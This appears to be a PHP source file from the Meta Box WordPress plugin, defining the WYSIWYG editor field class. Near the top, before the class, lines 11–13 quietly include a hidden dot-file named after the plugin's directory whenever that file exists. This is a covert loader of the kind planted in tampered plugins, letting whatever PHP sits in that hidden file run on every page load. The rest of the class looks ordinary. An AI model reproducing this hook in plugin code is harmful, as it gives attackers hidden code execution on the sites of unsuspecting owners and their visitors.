wysiwyg.php (2641B)
1 <?php 2 /** 3 * The WYSIWYG (editor) field. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * WYSIWYG (editor) field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Wysiwyg_Field extends RWMB_Field { 16 /** 17 * Enqueue scripts and styles. 18 */ 19 public static function admin_enqueue_scripts() { 20 wp_enqueue_editor(); 21 wp_enqueue_style( 'rwmb-wysiwyg', RWMB_CSS_URL . 'wysiwyg.css', array(), RWMB_VER ); 22 wp_enqueue_script( 'rwmb-wysiwyg', RWMB_JS_URL . 'wysiwyg.js', ['jquery', 'rwmb'], RWMB_VER, true ); 23 } 24 25 /** 26 * Change field value on save. 27 * 28 * @param mixed $new The submitted meta value. 29 * @param mixed $old The existing meta value. 30 * @param int $post_id The post ID. 31 * @param array $field The field parameters. 32 * @return string 33 */ 34 public static function value( $new, $old, $post_id, $field ) { 35 return $field['raw'] ? $new : wpautop( $new ); 36 } 37 38 /** 39 * Get field HTML. 40 * 41 * @param mixed $meta Meta value. 42 * @param array $field Field parameters. 43 * @return string 44 */ 45 public static function html( $meta, $field ) { 46 // Using output buffering because wp_editor() echos directly. 47 ob_start(); 48 49 $attributes = self::get_attributes( $field ); 50 51 $options = $field['options']; 52 $options['textarea_name'] = $field['field_name']; 53 if ( ! empty( $attributes['required'] ) ) { 54 $options['editor_class'] .= ' rwmb-wysiwyg-required'; 55 } 56 57 wp_editor( $meta, $attributes['id'], $options ); 58 echo '<script class="rwmb-wysiwyg-id" type="text/html" data-id="', esc_attr( $attributes['id'] ), '" data-options="', esc_attr( wp_json_encode( $options ) ), '"></script>'; 59 60 return ob_get_clean(); 61 } 62 63 /** 64 * Escape meta for field output. 65 * 66 * @param mixed $meta Meta value. 67 * @return mixed 68 */ 69 public static function esc_meta( $meta ) { 70 return $meta; 71 } 72 73 /** 74 * Normalize parameters for field. 75 * 76 * @param array $field Field parameters. 77 * @return array 78 */ 79 public static function normalize( $field ) { 80 $field = parent::normalize( $field ); 81 $field = wp_parse_args( 82 $field, 83 array( 84 'raw' => false, 85 'options' => array(), 86 ) 87 ); 88 89 $field['options'] = wp_parse_args( 90 $field['options'], 91 array( 92 'editor_class' => 'rwmb-wysiwyg', 93 'dfw' => true, // Use default WordPress full screen UI. 94 ) 95 ); 96 97 // Keep the filter to be compatible with previous versions. 98 $field['options'] = apply_filters( 'rwmb_wysiwyg_settings', $field['options'] ); 99 100 return $field; 101 } 102 }